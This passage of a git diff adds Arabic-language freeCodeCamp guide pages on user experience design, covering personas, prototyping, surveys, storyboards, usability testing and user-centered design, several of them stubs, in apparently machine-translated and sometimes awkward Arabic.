+[تصميم المواد من Google](https://material.io/guidelines/)
+
+[أنماط واجهة المستخدم](http://ui-patterns.com/patterns)
+
+[أنماط المحمول](http://www.mobile-patterns.com/)
+
+[بي بي سي جل](http://www.bbc.co.uk/gel/guidelines/category/design-patterns)
+
+##### مقالات
+
+["مكتبات نمطية" ناتاشا هوكي من أجل Prototypr.io](https://blog.prototypr.io/pattern-libraries-5d627c5c65b4)
+
+["مكتبات نمطية: ما هي ولماذا تحتاج واحد" من قبل ميغان لازير ل Designlab](http://trydesignlab.com/blog/pattern-libraries-what-they-are-and-why-you-need-o/)
+
+["إنشاء مكتبة نمطية" للمخرجة ريبيكا سورنسن من أجل سومو لوجيك](https://medium.com/sumo-logic-ux/creating-a-pattern-library-18cce0f901b4)
+
+["الشروع في العمل مع مكتبات الأنماط" ، بقلم آنا دبنهام من أجل قائمة "Apart"](http://alistapart.com/blog/post/getting-started-with-pattern-libraries)
+
+["أخذ نمط المكتبة إلى المستوى التالي" بواسطة فيتالي فريدمان لمجلة Smashing](https://www.smashingmagazine.com/taking-pattern-libraries-next-level/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/personas/index.md b/client/src/guide/arabic/user-experience-design/personas/index.md
new file mode 100644
index 0000000000..4fffcb4709
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/personas/index.md
@@ -0,0 +1,50 @@
+---
+title: Personas
+localeTitle: الناس
+---
+## اشخاصا
+
+يتم استخدام Personas في عملية التصميم كدليل لإنشاء تجارب المستخدم استنادًا إلى أنواع المستخدمين التي سيحصل عليها التطبيق. تمثل الشخصية شخصًا ديموغرافيًا للأشخاص الذين سيستخدمون التطبيق. عادة ، يتم إنشاء أشخاص متعددة قبل أن يتم تصميم التطبيق. سوف يساعد الأشخاص المصممين على إنشاء تصميمات مختلفة لأنواع مختلفة من المستخدمين.
+
+على سبيل المثال ، إذا كان الفريق يقوم ببناء تطبيق يتعامل مع العضوية والعمليات في ناد للياقة البدنية ، فإن بعض مستخدمي التطبيق قد يشمل عمال مكتب أمامي ، وبائعين ، ومدربين شخصيين. قد تكون الأعمار والعقلية والقدرة الفنية لهؤلاء المستخدمين مختلفة جدًا. لذلك ، سيعمل الفريق على إنشاء شخصية لكل نوع من أنواع المستخدمين هذه ويتضمن تفاصيل حول وظيفة هذا المستخدم ومستوى مهارته وأهدافه وخلفيته ووصف قصير للأنشطة اليومية لهذا الفرد.
+
+## مستخدم شخصية
+
+شخصية المستخدم هي ملف شخصي خيالي أو تمثيل لمستخدم مثالي تحاول الوصول إليه. يستخدم المصممون شخصيات لفهم مستخدميه بشكل أفضل وتخصيص تصميم يناسب الجمهور المستهدف.
+
+توضح شخصيات المستخدم كيف يمكن لشخص ما استخدام موقع ويب أو تطبيق. تساعد احتياجات المستخدم وأهدافه وسلوكياته المصممين على معرفة كيفية استخدامهم للمنتج وما يمكن أن يفعله التصميم لجعل المستخدم يقوم بإجراء محدد. تحدد شخصية المستخدم القوية بوضوح هذه الاحتياجات والمعلومات الأساسية التي يمكن أن تؤثر في التصميم.
+
+يجد مصممو تجربة المستخدم أكبر قدر ممكن من البحث لتمثيل مستخدميهم بدقة. يتم تنظيم المعلومات في مجموعات تمثل المستخدمين المثاليين الذين ترغب في الوصول إليهم. غالبًا ما يركز المصممون على أهم مجموعات المستخدمين لأنه من الأسهل تصميم عدد قليل من المستخدمين بدلاً من محاولة تلبية احتياجات الجميع.
+
+شخصيات المستخدمين الفردية هي صفحة واحدة وتجنب وجود تفاصيل إضافية لا تؤثر على المصمم النهائي أو مساعدة في أي من قرارات التصميم. يجب التأكد من أن الأشخاص الشخصيين واقعيين ومحددين بقدر الإمكان حيث أنه سيساعدك في العثور على مستخدمي حقيقيين عندما تكون مستعدًا لاختبار منتجك.
+
+## كيف تحدد مستخدمك الشخصيه
+
+لدى المصممين طرق مختلفة لإنشاء شخصية مستخدم ، لكن الأشخاص المحددين بشكل جيد لديهم 4 عناصر. هذه العناصر هي:
+
+1.Header 2. لمحة ديموغرافية 3. الهدف (الأهداف) 4.Scenario
+
+### رؤوس
+
+تتضمن الرؤوس اسم المستخدم الخاص بك ، mage ، وكثيراً ما يكون عرض أسعار. الاقتباس هو وسيلة يلخصها المصممون لما يظن المستخدم أنه مهم. يحافظ الرأس القوي على تصميم المصممين على المستخدمين الذين يقومون ببنائهم.
+
+### ملامح ديموغرافية
+
+تحتوي الملفات الشخصية الديموغرافية على جميع البيانات من بحث المستخدم. جميع البيانات تعطي المصممين صورة كاملة لمستخدميها. هناك أربعة أقسام للملف الشخصي: الخلفية الشخصية ، الخلفية المهنية ، بيئة المستخدم ، وعلم النفس.
+
+الخلفية الشخصية هي معلومات مثل العمر والجنس والعرق والتعليم. يمكن أن يتضمن المصممون حالة الأسرة (على سبيل المثال ، أعزب ، متزوج ، أرامل ، إلخ) أو مجموعة شخصية (مثل الأمهات العاملات). الخلفية المهنية هي الوظيفة الوظيفية للمستخدم ، ومستوى الدخل ، والخبرة العملية.
+
+بيئة المستخدم هي السياق المادي والاجتماعي والتكنولوجي للمستخدم. توضح هذه المعلومات ما هو يوم المستخدم العادي ، وأين يقضون وقته ، وماذا يفعلون مع الآخرين. علم النفس السيكولوجي هو بحث عن كيف يفكر المستخدمون ويشعرون. تركز هذه البيانات على المواقف ، والاهتمامات ، والدافع ، ونقاط الألم لدى المستخدمين.
+
+### نهاية الهدف (الأهداف)
+
+الهدف النهائي هو الإجراء الذي يتخذه المستخدمون لإكمال الهدف. أهداف النهاية تحفز جميع المستخدمين وتعرض ما يريده المستخدمون أو يحتاجون إليه.
+
+### سيناريو
+
+السيناريوهات هي وصف لكيفية استخدام المستخدمين لأحد المنتجات لتحقيق هدف نهائي. هذه الحالات تحدد متى وأين وكيف سيحدث هذا الحدث. تكتب هذه السيناريوهات من منظور المستخدم.
+
+#### معلومات اكثر:
+
+*   [Personas - usability.gov](https://www.usability.gov/how-to-and-tools/methods/personas.html)
+*   [Smashing Magazine: A Closer Look Persones](https://www.smashingmagazine.com/2014/08/a-closer-look-at-personas-part-1/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/prototyping/index.md b/client/src/guide/arabic/user-experience-design/prototyping/index.md
new file mode 100644
index 0000000000..e75772b4e1
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/prototyping/index.md
@@ -0,0 +1,25 @@
+---
+title: Prototyping
+localeTitle: النماذج
+---
+## النماذج
+
+في تطوير البرمجيات ، يعتبر النموذج الأولي نموذج عمل أولي لمنتج أو نظام معلومات ، عادة ما يتم بناؤه من أجله أغراض توضيحية أو كجزء من عملية التطوير. في دورة حياة تطوير النظم (SDLC) نموذج نموذجي ، تم إنشاء إصدار أساسي من النظام واختباره ثم إعادة صياغة حسب الضرورة حتى يتم في النهاية إنشاء نموذج أولي مقبول تحقق من النظام أو المنتج الكامل الذي يمكن تطويره الآن.
+
+يشير النموذج الأولي إلى مرحلة أولية من إصدار البرامج التي قد يحدث فيها تطور تطويري وإصلاحات في المنتج قبل البدء في إصدار أكبر. يمكن أن تسمى هذه الأنواع من الأنشطة أحيانًا مرحلة تجريبية أو اختبار تجريبي ، حيث يتم تقييم المشروع الأولي من قِبل فئة أصغر من المستخدمين قبل التطوير الكامل.
+
+يعتبر النموذج الأولي ، بالإضافة إلى اختبار واسع النطاق وإصدارات متعددة من البرامج ، جزءًا من عملية أكثر تفصيلاً إنتاج منتجات وخدمات برمجيات متطورة. الفكرة الأساسية هي أنه حتى عند اكتمال ميزات التعليمات البرمجية على المشروع ، البرنامج ، الذي لا يزال قيد التطوير ، قد يكون لديك العديد من الأخطاء ومشاكل المستخدم. لكثير من هذه للحصول على تسويتها إذا كان البرنامج قيد الاستخدام بالفعل ، فإن المطورين يواجهون مشكلة إطلاق منتج يمكن للمستخدمين الاطلاع عليه كما معيبة أساسا. يمكن أن يكون إطلاق المنتج إلى مجتمع أصغر أو تقييد تطوره على مراحل حل فعال جدا.
+
+في بعض الحالات ، قد تتضمن النماذج الأولية متطوعين ، بينما في حالات أخرى ، قد يقوم عملاء خاصون أو غيرهم ممن يتمتعون بوضع خاص أن تشارك في النماذج الأولية. تقوم فرق التطوير وشركات التكنولوجيا عادةً بإبداء الملاحظات حول المنتج خلال النماذج الأولية لإصلاح المشاكل قبل التوزيع النهائي.
+
+## أدوات
+
+تتضمن بعض أدوات النماذج الشائعة بين مصممي UX ما يلي:
+
+*   رسم - https://sketchapp.com
+*   InVision - https://invisionapp.com
+*   Axure - https://www.axure.com
+*   Adobe XD CC - https://www.adobe.com/in/products/xd.html
+*   Figma - https://figma.com
+*   UXPin - https://www.uxpin.com/
+*   Framer - https://framer.com
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/qualitative-surveys/index.md b/client/src/guide/arabic/user-experience-design/qualitative-surveys/index.md
new file mode 100644
index 0000000000..38e43013f9
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/qualitative-surveys/index.md
@@ -0,0 +1,35 @@
+---
+title: Qualitative Surveys
+localeTitle: المسوحات النوعية
+---
+## المسوحات النوعية
+
+الاستطلاعات النوعية - التي يمكن أن تأخذ شكل المقابلات أو اختبارات قابلية الاستخدام الأخرى ذات الملاحظة المباشرة (يمكن أن تكون شخصيًا أو عبر أدوات مؤتمرات الفيديو مثل Skype أو Google Hangouts) - قد تكون استكشافية بهدف الحصول على المزيد من فهم عميق لتجربة المستخدم. تهدف الاستبيانات النوعية إلى جمع المعلومات عن التجارب والحوافز اليومية للمستخدم أو المجموعة لمعرفة كيف قد تؤثر هذه التفاصيل على استخدام المنتج أو الأداة.
+
+### النتائج
+
+عند استخدام أساليب البحث النوعي ، من المهم أن يدرك الباحث أنه قد يكون له تأثير على نتائج البحث. نظرًا لأن التجربة البشرية يتم بحثها بدلاً من البيانات الثابتة (عدد النقرات واتجاهات موقع تسجيل الدخول وما إلى ذلك) ، فمن الصعب أن تظل موضوعية تمامًا أثناء الاختبار أو عند تقييم النتائج. النتائج أيضا لن تكون بالضرورة قابلة للتكرار. وذلك لأن العوامل التي تؤثر على تجربة المستخدم متنوعة ويمكن أن تتغير من يوم لآخر. يمكن أن تأخذ هذه العوامل شكل أن يكون المستخدم أكثر إزعاجًا يومًا أكثر من الآخر بسبب الأحداث الجديدة في حياته أو تحمل المزيد من المسؤوليات في ذلك اليوم ، حيث يمتلك المستخدمون تجارب حياة مختلفة تمامًا عن بعضهم البعض ، والطقس السيئ الذي يؤثر على مزاج المستخدم ، وأي شيء آخر يؤثر على حياة الشخص الشخصية أو العاطفية.
+
+عادة ما تظهر نتائج الاستطلاعات النوعية كمواضيع أو فئات بدلاً من الأرقام. 1
+
+### مثال
+
+إليك مثالاً رائعًا من [The Interaction Design Foundation](https://www.interaction-design.org/) على الفرق بين البحث الكمي والبحث النوعي:
+
+> لتوضيح الفرق ، لنفترض أنك تريد دراسة عادات ممارسة مجموعة المستخدمين. يمكنك اختيار دراسة هذه الطرق باستخدام أساليب البحث الكمي أو النوعي. **إذا كنت تستخدم طريقة _كمية_** ، يمكنك إنشاء استطلاع عبر الإنترنت وتوزيعه على عدد كبير من المشاركين. يجب على المشاركين الإجابة عن أسئلة محددة مسبقًا حول عادات تمارينهم مثل "كم عدد الساعات التي تمارسها في الأسبوع؟". إذا كنت تقوم بواجبك ، فمن الممكن تلخيص إجابات الاستطلاع عدديًا دون تحيز من رأيك أو تجربتك الشخصية مع التمرين.
+> 
+> **إذا كنت تستخدم طريقة _نوعية_** ، يمكنك اختيار إجراء مقابلات مع عدد محدود من المشاركين ، حيث تتحدث مع المشاركين حول متى وأين وكيف يمارسون. ولأن المقابلة تشبه محادثة ، فستعتمد نتائجك على كيفية طرح أسئلة المتابعة على إجابات المشاركين - وكيف ستعتمد هذه الإرادة إلى حد ما على شخصيتك وتجربتك الخاصة في التمرين. وبالمثل ، تعتمد نتائج المقابلة أيضًا ، إلى حد ما ، على تفسير ذاتي لما أخبرك به المشارك.
+
+### مصادر
+
+1.  [مورتنسن ، ديتي. "\[أفضل الممارسات لبحث المستخدم النوعي\] (https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research)." _\[مؤسسة تصميم التفاعل\] (https://www.interaction-design.org/)_ . كانون الثاني ، 2018. تم الوصول إليه: 23 من شباط عام 2018](#)
+
+### مصادر:
+
+*   " [أساليب البحث النوعية في تصميم UX](https://www.slideshare.net/uxtalktokyo/ux-tokyo-talk-6-markus) " بواسطة ماركوس هيبرلين (عرض SlideShare ، كما هو موضح في UX Tokyo Talk 2014)
+    
+*   " [12 تقنية أبحاث UX (الكمية النوعية abnd)](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) " بقلم كيفن دالفي
+    
+*   " [دليل المبتدئين الكامل لأبحاث UX](http://www.uxbooth.com/articles/complete-beginners-guide-to-design-research/) " بواسطة [UX Booth](http://www.uxbooth.com/)
+    
+*   " [A Crash Course in UX Design Research](https://uxdesign.cc/a-crash-course-in-ux-design-research-ea00c3307c82) " by Matt Lavoie at [UX Collective](https://uxdesign.cc/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/quantitative-surveys/index.md b/client/src/guide/arabic/user-experience-design/quantitative-surveys/index.md
new file mode 100644
index 0000000000..92fe9c4d81
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/quantitative-surveys/index.md
@@ -0,0 +1,34 @@
+---
+title: Quantitative Surveys
+localeTitle: المسوحات الكمية
+---
+## المسوحات الكمية
+
+تبحث **المسوحات الكمية** في النهج الإحصائي لتحليل نتائج المسح. يتم تصميم الأسئلة بطريقة بحيث يتم تسجيل الإجابات في الأرقام. ثم نظرتم إلى عدد المستخدمين الذين أجابوا على أسئلة معينة.
+
+#### تخبرنا المسوحات الكمية
+
+*   كم عدد المستخدمين الذين يستخدمون هذا المنتج؟
+*   أي نوع من الناس يستخدمون هذا المنتج؟
+*   ما هو سوق منتجاتنا؟
+
+إنها طريقة رائعة لاختبار السوق ، ومعرفة الاتجاهات ، والأنماط ، وقاعدة المستخدمين ، ومعرفة مدى نجاح المنتج وما إلى ذلك.
+
+#### أمثلة على الأسئلة
+
+*   هل تستخدم معسكر الرمز المجاني؟
+    *   نعم فعلا
+    *   لا
+*   ما عدد التحديات التي انتهيت منها في معسكر الرمز الحر؟
+    *   أقل من 100
+    *   اقل من 500
+    *   أكثر من 500
+*   كم عدد الشهادات التي حصلت عليها في مخيم الرموز المجانية؟
+    *   0
+    *   1
+    *   2
+    *   3
+
+#### معلومات اكثر:
+
+[المادة على المسح الكمي](https://www.marketingdonut.co.uk/market-research/questionnaires-surveys-and-focus-groups/what-is-quantitative-research)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/stakeholder-interviews/index.md b/client/src/guide/arabic/user-experience-design/stakeholder-interviews/index.md
new file mode 100644
index 0000000000..c3b874e847
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/stakeholder-interviews/index.md
@@ -0,0 +1,11 @@
+---
+title: Stakeholder Interviews
+localeTitle: مقابلات مع اصحاب المصالح
+---
+## مقابلات مع اصحاب المصالح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/stakeholder-interviews/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/storyboards/index.md b/client/src/guide/arabic/user-experience-design/storyboards/index.md
new file mode 100644
index 0000000000..71a00c3fe0
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/storyboards/index.md
@@ -0,0 +1,29 @@
+---
+title: Storyboards
+localeTitle: القصص المصورة
+---
+## القصص المصورة
+
+لوحة القصة هي سلسلة من الصور والمضاهاة المصاحبة التي تنقل معًا تجربة المستخدم في تحقيق هدف ما. مساعدة القصص المصورة يقوم فريق المنتج وفريق UX بعصف الأفكار حول نقاط ألم المستخدم.
+
+تأتي القصة المصورة أولاً بعد بحث المستخدم ، والتطوير الشخصي ، والوظائف التي يجب إنجازها. يوضح مثال Storyboarding نقاط الألم لدى المستخدم مع الحل الحالي. يأتي المثال التالي من القصص المصورة بعد التفكير في الحل ، لإبلاغ المستقبل المتصور لكيفية تحسين حياة المستخدم.
+
+رسمًا عامًا ، تكون القصص المصورة طريقة سريعة ورخيصة لتوصيل سلوك المستخدم قبل وبعد الحل المقترح.
+
+الصور الفعالة ...
+
+*   ينبغي:
+    *   حدد بوضوح المستخدم ، أعمالهم ، العواطف ، والنتائج
+    *   عرض عناصر واجهة المستخدم فقط ذات الصلة بالتفاعل عند عرض لقطات مقربة للجهاز
+*   لا يجب:
+    *   تكون "مثالية للبيكسل"
+    *   إثبات اكتمال واجهة المستخدم
+
+![مثال على القصة المصورة](https://github.com/yunChigewan/storage/blob/master/storyboard_pic.jpeg?raw=true)
+
+رصيد الصورة: Chelsea Hostetter ، مركز أوستن للتصميم
+
+#### معلومات اكثر:
+
+*   صور المخزون لاستخدامها في القصص المصورة www.designcomics.org
+*   مقالة القصة المصورة من UX Planet https://uxplanet.org/storyboarding-in-ux-design-b9d2e18e5fab
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/task-analysis/index.md b/client/src/guide/arabic/user-experience-design/task-analysis/index.md
new file mode 100644
index 0000000000..6ba8afc83f
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/task-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Task Analysis
+localeTitle: تحليل المهمة
+---
+## تحليل المهمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/task-analysis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/usability-testing/index.md b/client/src/guide/arabic/user-experience-design/usability-testing/index.md
new file mode 100644
index 0000000000..678e15ebd9
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/usability-testing/index.md
@@ -0,0 +1,47 @@
+---
+title: Usability Testing
+localeTitle: اختبار قابلية الاستخدام
+---
+## اختبار قابلية الاستخدام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/usability-testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+اختبار قابلية الاستخدام هو تقنية مستخدمة في تصميم التفاعل الذي يركز على المستخدم لتقييم منتج من خلال اختباره على المستخدمين. ويمكن اعتبار ذلك بمثابة ممارسة لا يمكن الاستغناء عن استخدامها ، حيث إنها تقدم مدخلات مباشرة حول كيفية استخدام المستخدمين الحقيقيين للنظام.
+
+ويتناقض ذلك مع أساليب فحص قابلية الاستخدام حيث يستخدم الخبراء أساليب مختلفة لتقييم واجهة المستخدم دون إشراك المستخدمين.
+
+يركز اختبار قابلية الاستخدام على قياس قدرة المنتج الذي صنعه الإنسان على تحقيق الغرض المقصود منه. ومن أمثلة المنتجات التي تستفيد عادةً من اختبار قابلية الاستخدام ، الأطعمة والمنتجات الاستهلاكية ومواقع الويب أو تطبيقات الويب وواجهات الكمبيوتر والمستندات والأجهزة. يقيس اختبار قابلية الاستخدام قابلية الاستخدام أو سهولة الاستخدام لجسم أو مجموعة معينة من الكائنات ، في حين تحاول الدراسات العامة للتفاعل بين الإنسان والحاسوب صياغة مبادئ عالمية. يوصى بإجراء هذا الاختبار خلال مرحلة التصميم الأولي لـ SDLC ، مما يعطي رؤية أكبر على توقعات المستخدمين. أساليب
+
+1.  اختبار المدخل
+
+اختبار المدخل هو طريقة سريعة ورخيصة لاختبار قابلية الاستخدام حيث يُطلب من الأشخاص الذين تم اختيارهم بشكل عشوائي - على سبيل المثال ، الأشخاص الذين يمرون في المدخل - محاولة استخدام المنتج أو الخدمة. وهذا يمكن أن يساعد المصممين على تحديد "جدران من الطوب" ، وهي مشكلات بالغة الخطورة بحيث لا يستطيع المستخدمون تقديمها ببساطة ، في المراحل الأولى من التصميم الجديد. يمكن استخدام أي شخص ما عدا مصممي ومهندسي المشاريع (يميلون إلى العمل كمراجعين خبراء لأنهم قريبون جدًا من المشروع).
+
+2.  اختبار قابلية الاستخدام عن بعد
+
+في سيناريو حيث يوجد مقيمو القابلية للاستخدام والمطورين والمستخدمين المحتملين في بلدان ومناطق زمنية مختلفة ، يؤدي إجراء تقييم قابلية الاستخدام في المختبر التقليدي إلى خلق تحديات من حيث التكلفة والمنظور اللوجستي. أدت هذه المخاوف إلى إجراء بحوث على تقييم قابلية الاستخدام عن بعد ، مع فصل المستخدم والمقيمين على المكان والزمان. يمكن أن يكون الاختبار عن بعد ، والذي يسهل إجراء التقييمات في سياق مهام وتطبيقات المستخدم الأخرى ، إما متزامنًا أو غير متزامن. وينطوي الأسلوب الأول على التواصل المباشر بين المقيم والمستخدم في الوقت الفعلي ، بينما ينطوي الأخير على المقيم والمستخدم الذي يعمل بشكل منفصل. تتوفر العديد من الأدوات لتلبية احتياجات كل من هذه الأساليب. تتضمن منهجيات اختبار قابلية الاستخدام المتزامن مؤتمرات الفيديو أو استخدام أدوات مشاركة التطبيقات عن بُعد مثل WebEx. WebEx و GoToMeeting هي التقنيات الأكثر استخدامًا لإجراء اختبار قابلية الاستخدام عن بعد. ومع ذلك ، قد يفتقر الاختبار عن بعد المتزامن إلى الشعور الفوري والشعور "بالوجود" المطلوب لدعم عملية اختبار تعاوني. علاوة على ذلك ، قد تتطلب إدارة الديناميكيات الشخصية بين الحواجز الثقافية واللغوية مقاربات حساسة للثقافات المعنية. تشمل العيوب الأخرى تقليل التحكم في بيئة الاختبار والانحرافات والانقطاعات التي يمر بها المشاركون في بيئتهم المحلية. إحدى الطرق الحديثة التي تم تطويرها لإجراء اختبار قابلية الاستخدام المتزامن عن بعد هي استخدام العوالم الافتراضية. تتضمن المنهجيات غير المتزامنة المجموعة التلقائية لدفقات نقرات المستخدم وسجلات المستخدم للأحداث الهامة التي تحدث أثناء التفاعل مع التطبيق والتعليقات الذاتية على الواجهة من قبل المستخدمين. وعلى غرار دراسة داخل المختبر ، فإن اختبار قابلية الاستخدام عن بعد غير متزامن يعتمد على المهام ، كما يسمح النظام الأساسي للباحثين بالتقاط النقرات وأوقات المهام. وبالتالي ، بالنسبة للعديد من الشركات الكبيرة ، يسمح هذا للباحثين بفهم نوايا الزائرين بشكل أفضل عند زيارة موقع إلكتروني أو موقع ويب للجوّال. بالإضافة إلى ذلك ، يوفر هذا النمط من اختبار المستخدم أيضًا فرصة لتقسيم التعليقات حسب النوع الديموغرافي والمواضيع والسلوك. يتم إجراء الاختبارات في بيئة المستخدم الخاصة (بدلاً من المختبرات) مما يساعد على محاكاة محاكاة سيناريو الحياة الواقعية. ويوفر هذا النهج أيضًا وسيلةً لسهولة الحصول على تعليقات المستخدمين في المناطق النائية بسرعة وبنفقات عامة تنظيمية أقل. في السنوات الأخيرة ، أصبح اختبار قابلية الاستخدام غير متزامن أيضًا سائدًا ويسمح للمختبرين بتقديم التغذية المرتدة في أوقات فراغهم ومن راحة منازلهم.
+
+3.  مراجعة الخبراء
+
+مراجعة الخبراء هي طريقة عامة أخرى لاختبار قابلية الاستخدام. كما يوحي الاسم ، تعتمد هذه الطريقة على جلب خبراء لديهم خبرة في المجال (ربما من شركات متخصصة في اختبار قابلية الاستخدام) لتقييم قابلية استخدام منتج ما. تقييم مراجعة إرشادية أو قابلية الاستخدام هو تقييم للواجهة بواسطة واحد أو أكثر من خبراء العوامل البشرية. يقيِّم المقيِّمون قابلية الاستخدام والفاعلية والفاعلية للواجهة القائمة على مبادئ الاستخدام ، مثل الاستكشافات العشرة للاستخدامات التي حددها في الأصل جاكوب نيلسن في عام 1994.
+
+تتضمن أساليب استخدام Nielsen للاستخدام ، والتي استمرت في التطور استجابة لأبحاث المستخدمين والأجهزة الجديدة ، ما يلي:
+
+*   رؤية حالة النظام
+*   المباراة بين النظام والعالم الحقيقي
+*   تحكم المستخدم والحرية
+*   الاتساق والمعايير
+*   منع الخطأ
+*   الاعتراف بدلا من الاستدعاء
+*   المرونة وكفاءة الاستخدام
+*   تصميم جمالي وبسيط
+
+1.  مراجعة الخبراء الآلية
+
+على غرار مراجعات الخبراء ، توفر مراجعات الخبراء الآلية اختبار قابلية الاستخدام ولكن من خلال استخدام البرامج المعطاة لقواعد التصميم الجيد والاستدلال. على الرغم من أن المراجعة التلقائية قد لا توفر الكثير من التفاصيل والبصيرة مثل التعليقات من الأشخاص ، إلا أنه يمكن الانتهاء منها بسرعة أكبر وبشكل متسق. إن فكرة إنشاء مستخدمين بديلين لاختبار قابلية الاستخدام هي اتجاه طموح لمجتمع الذكاء الاصطناعي.
+
+*   مساعدة المستخدمين على التعرف على الأخطاء وتشخيصها والتعافي منها
+*   المساعدة والتوثيق
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/user-centered-design/index.md b/client/src/guide/arabic/user-experience-design/user-centered-design/index.md
new file mode 100644
index 0000000000..7d9c9184f3
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/user-centered-design/index.md
@@ -0,0 +1,27 @@
+---
+title: User-Centered Design
+localeTitle: تصميم تركز على المستخدم
+---
+## تصميم تركز على المستخدم
+
+التصميم المرتكز على المستخدم (UCD) هو مجموعة من العمليات التي تركز على وضع المستخدمين في مركز تصميم وتطوير المنتجات. UCD هو نهج التصميم التكراري الذي يهدف إلى تطوير فهم لاحتياجات المستخدم ، وذلك من خلال مزيج من التحقيق (على سبيل المثال ، الدراسات الاستقصائية و ﻣﻘﺎﺑﻼت) وأﺳﺎﻟﻴﺐ وأدوات ﺗﻮﻟﻴﺪﻳﺔ (ﻣﺜﻼً). بشكل حاسم ، UCD بشدة ينطوي على المستخدمين في جميع مراحل التصميم والتقييم. يقوم المصممون بفحص قابلية الاستخدام ، والخصائص ، والبيئة ، والمهام الخاصة بالمنتج ، كما أنهم يهتمون بكافة خطوات عملية التصميم.
+
+الهدف الرئيسي من UCD هو تحسين المنتج أو الخدمة أو العملية حول كيفية استخدام المستخدمين للمنتج ، بدلاً من إجبار المستخدمين على تأكيد أو تغيير سلوكهم لتكييف المنتج.
+
+### مراحل عملية UCD
+
+1.  حدد سياق الاستخدام: حدد الأشخاص الذين سيستخدمون المنتج ، وما سيستخدمونه من أجله ، وتحت أي ظروف سوف يستخدمونه.
+2.  حدد المتطلبات: حدد أي متطلبات أعمال أو أهداف مستخدم يجب الوفاء بها حتى ينجح المنتج.
+3.  إنشاء حلول تصميم: يمكن تنفيذ هذا الجزء من العملية على مراحل ، بدءًا من المفهوم التقريبي والتصميم الكامل.
+4.  تقييم التصاميم: التقييم ، من الناحية المثالية من خلال اختبار قابلية الاستخدام مع المستخدمين الفعليين ، هو جزء لا يتجزأ من اختبار الجودة لتطوير البرمجيات الجيدة
+
+### تصميم تتمحور حول المستخدم مقابل تصميم تتمحور حول الإنسان
+
+غالباً ما يتم استخدام التصميم الذي يركز على المستخدم بشكل تبادلي مع التصميم المرتكز على الإنسان ، ولكن الأول هو في الواقع مجموعة فرعية من هذا الأخير. لا يهتم التصميم المرتكز على المستخدم فقط بتقديم الطعام لأي مستخدم بشري معين ، بل هو نوع محدد من المستخدمين. وبالتالي ، يتطلب التصميم الذي يركز على المستخدم تحليلاً أعمق للمستخدمين - جمهورك المستهدف. لا يتعلق فقط بالخصائص العامة للشخص ؛ يتعلق الأمر بالعادات والتفضيلات الخاصة بالمستخدمين المستهدفين للتوصل إلى حلول مناسبة لمشاكل معينة.
+
+يراعي التصميم المرتكز على المستخدم العمر والجنس والوضع الاجتماعي والتعليم والخلفية المهنية والعوامل المؤثرة وتوقعات استخدام المنتج ومتطلباته والعديد من الأشياء المهمة الأخرى التي قد تختلف باختلاف الأجزاء. ويتركز التصميم الذي يركز على المستخدم على البحث العميق في المستخدمين. العادات ، من تفاعلاتهم مع المنتج إلى رؤيتهم لكيفية ظهور المنتج وتصرفه.
+
+#### معلومات اكثر:
+
+*   [تصميم تتمحور حول المستخدم: مقدمة](https://usabilitygeek.com/user-centered-design-introduction/) - سهولة الاستخدام المهوس
+*   [فوائد التصميم الذي يركز على المستخدم](https://www.usability.gov/what-and-why/benefits-of-ucd.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/user-flow/index.md b/client/src/guide/arabic/user-experience-design/user-flow/index.md
new file mode 100644
index 0000000000..ed0ea57464
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/user-flow/index.md
@@ -0,0 +1,11 @@
+---
+title: User Flow
+localeTitle: تدفق المستخدم
+---
+## تدفق المستخدم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/user-flow/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/user-research/index.md b/client/src/guide/arabic/user-experience-design/user-research/index.md
new file mode 100644
index 0000000000..83a8d5b625
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/user-research/index.md
@@ -0,0 +1,53 @@
+---
+title: User Research
+localeTitle: بحث المستخدم
+---
+## بحث المستخدم
+
